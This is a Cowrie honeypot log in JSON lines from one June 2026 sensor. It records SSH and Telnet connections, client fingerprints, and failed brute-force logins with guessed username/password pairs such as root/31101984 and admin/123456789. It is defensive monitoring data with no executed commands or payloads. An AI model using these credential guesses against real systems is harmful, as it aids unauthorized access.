{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:46:40.833617Z","src_ip":"216.155.93.75","session":"3a76b2eff645","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vendas","password":"123456","message":"login attempt [vendas/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:46:41.477664Z","src_ip":"216.155.93.75","session":"3a76b2eff645","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.155473709106445,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:46:42.340270Z","src_ip":"128.199.8.54","session":"89474c5ed53c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:46:42.633870Z","src_ip":"216.155.93.75","session":"3a76b2eff645","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.81818771362305,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:46:44.132941Z","src_ip":"107.6.151.170","session":"1c3c9b85302a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.79831123352051,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:46:57.539819Z","src_ip":"107.6.151.170","session":"b18c5ef3b937","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":44338,"dst_ip":"159.203.135.109","dst_port":23,"session":"83cf6ccb72a1","protocol":"telnet","message":"New connection: 128.199.8.54:44338 (159.203.135.109:23) [session: 83cf6ccb72a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:47:43.304304Z"}
{"eventid":"cowrie.session.closed","duration":40.456470251083374,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:48:23.760693Z","src_ip":"128.199.8.54","session":"83cf6ccb72a1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":53514,"dst_ip":"10.17.0.5","dst_port":22,"session":"e5997f8d8b11","protocol":"ssh","message":"New connection: 194.113.233.25:53514 (10.17.0.5:22) [session: e5997f8d8b11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:48:40.141589Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:48:40.145565Z","src_ip":"194.113.233.25","session":"e5997f8d8b11","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:48:40.238667Z","src_ip":"194.113.233.25","session":"e5997f8d8b11","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"31101984","message":"login attempt [root/31101984] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:48:40.518202Z","src_ip":"194.113.233.25","session":"e5997f8d8b11","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:48:41.612868Z","src_ip":"194.113.233.25","session":"e5997f8d8b11","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":36328,"dst_ip":"10.17.0.5","dst_port":22,"session":"64ce0b8cff04","protocol":"ssh","message":"New connection: 27.71.230.31:36328 (10.17.0.5:22) [session: 64ce0b8cff04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:48:47.017517Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:48:47.063145Z","src_ip":"27.71.230.31","session":"64ce0b8cff04","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:48:47.339816Z","src_ip":"27.71.230.31","session":"64ce0b8cff04","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"newpassword@12345","message":"login attempt [root/newpassword@12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:48:52.777973Z","src_ip":"27.71.230.31","session":"64ce0b8cff04","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.3","message":"Connection lost after 8.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:48:55.275156Z","src_ip":"27.71.230.31","session":"64ce0b8cff04","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.13","src_port":38934,"dst_ip":"10.17.0.5","dst_port":22,"session":"4095e5f18338","protocol":"ssh","message":"New connection: 91.92.40.13:38934 (10.17.0.5:22) [session: 4095e5f18338]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:49:00.453384Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:49:00.660541Z","src_ip":"91.92.40.13","session":"4095e5f18338","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:49:00.663781Z","src_ip":"91.92.40.13","session":"4095e5f18338","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123456789","message":"login attempt [admin/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:49:01.885393Z","src_ip":"91.92.40.13","session":"4095e5f18338","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:49:03.309834Z","src_ip":"91.92.40.13","session":"4095e5f18338","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"216.155.93.75","src_port":51626,"dst_ip":"159.203.135.109","dst_port":22,"session":"9731a68eba79","protocol":"ssh","message":"New connection: 216.155.93.75:51626 (159.203.135.109:22) [session: 9731a68eba79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:49:09.450047Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:49:09.453742Z","src_ip":"216.155.93.75","session":"9731a68eba79","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:49:09.602421Z","src_ip":"216.155.93.75","session":"9731a68eba79","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"woaini88","message":"login attempt [root/woaini88] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:49:10.230616Z","src_ip":"216.155.93.75","session":"9731a68eba79","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:49:11.381877Z","src_ip":"216.155.93.75","session":"9731a68eba79","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":51004,"dst_ip":"159.203.135.109","dst_port":23,"session":"8cb87d43a7f8","protocol":"telnet","message":"New connection: 128.199.8.54:51004 (159.203.135.109:23) [session: 8cb87d43a7f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:49:24.296566Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.198.19.241","src_port":44454,"dst_ip":"159.203.135.109","dst_port":22,"session":"934eb74f630d","protocol":"ssh","message":"New connection: 85.198.19.241:44454 (159.203.135.109:22) [session: 934eb74f630d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:50:08.963079Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:50:08.967653Z","src_ip":"85.198.19.241","session":"934eb74f630d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":57740,"dst_ip":"159.203.135.109","dst_port":22,"session":"f71a7d63b80f","protocol":"ssh","message":"New connection: 27.71.230.31:57740 (159.203.135.109:22) [session: f71a7d63b80f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:50:09.187506Z"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:50:09.222897Z","src_ip":"85.198.19.241","session":"934eb74f630d","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:50:09.881422Z","src_ip":"27.71.230.31","session":"f71a7d63b80f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:50:09.885296Z","src_ip":"27.71.230.31","session":"f71a7d63b80f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"brian","password":"12345","message":"login attempt [brian/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:50:11.396805Z","src_ip":"85.198.19.241","session":"934eb74f630d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:50:12.569845Z","src_ip":"85.198.19.241","session":"934eb74f630d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":36564,"dst_ip":"159.203.135.109","dst_port":22,"session":"2f568a03923a","protocol":"ssh","message":"New connection: 62.133.62.83:36564 (159.203.135.109:22) [session: 2f568a03923a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:50:14.667325Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:50:14.672776Z","src_ip":"62.133.62.83","session":"2f568a03923a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:50:14.753956Z","src_ip":"62.133.62.83","session":"2f568a03923a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qetuo13579","message":"login attempt [root/qetuo13579] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:50:15.000730Z","src_ip":"62.133.62.83","session":"2f568a03923a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:50:16.082020Z","src_ip":"62.133.62.83","session":"2f568a03923a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":54.56635308265686,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:50:18.862797Z","src_ip":"128.199.8.54","session":"8cb87d43a7f8","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"newpassword@12345","message":"login attempt [root/newpassword@12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:50:30.105388Z","src_ip":"27.71.230.31","session":"f71a7d63b80f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"23.0","message":"Connection lost after 23.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:50:32.186085Z","src_ip":"27.71.230.31","session":"f71a7d63b80f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.93.50.90","src_port":40754,"dst_ip":"10.17.0.5","dst_port":22,"session":"34c34f6c21e2","protocol":"ssh","message":"New connection: 182.93.50.90:40754 (10.17.0.5:22) [session: 34c34f6c21e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:50:55.973846Z"}
